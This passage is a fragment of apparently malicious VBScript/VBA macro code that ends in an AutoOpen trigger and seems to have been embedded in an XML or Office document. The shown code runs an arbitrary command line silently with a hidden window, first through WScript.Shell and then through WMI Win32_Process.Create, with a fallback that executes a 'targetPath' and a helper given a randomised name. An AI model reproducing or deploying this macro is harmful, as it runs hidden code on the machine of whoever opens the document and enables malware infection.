0 Or wimResult <> 0 Then Err.Clear WscriptExec targetPath End If On Error Goto 0 End Sub ' Exec process using WScript.Shell (asynchronous) Sub WscriptExec(cmdLine ) CreateObject("WScript.Shell").Run cmdLine, 0 End Sub ' Exec process using WMI Function WmiExec(cmdLine ) Dim objConfig Dim objProcess Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = 0 Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") WmiExec = dukpatek(objProcess, objConfig, cmdLine) End Function Private Function dukpatek(myObjP , myObjC , myCmdL ) Dim procId dukpatek = myObjP.Create(myCmdL, Null, myObjC, procId) End Function AutoOpen ]]>